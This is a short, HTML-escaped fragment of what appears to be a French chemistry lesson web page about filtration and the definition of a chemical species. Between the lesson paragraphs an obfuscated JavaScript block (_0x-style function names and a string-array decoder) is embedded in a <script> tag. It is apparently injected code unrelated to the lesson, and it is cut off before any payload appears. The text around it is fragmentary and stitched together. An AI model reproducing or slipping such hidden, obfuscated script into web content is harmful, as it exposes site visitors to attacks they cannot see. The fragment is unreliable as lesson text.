m\u00e9lange solide liquide par passage \u00e0 travers un milieu filtrant.<\/p>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Les esp\u00e8ces chimiques 1. Esp\u00e8ce chimique D\u00e9finition\u00a0:\u00a0On appelle esp\u00e8ce chimique un ensemble constitu\u00e9 d\u2019entit\u00e9s identiques. Toute esp\u00e8ce chimique poss\u00e8de un\u00a0nom. Elle peut \u00eatre repr\u00e9sent\u00e9e par sa\u00a0formule chimique. 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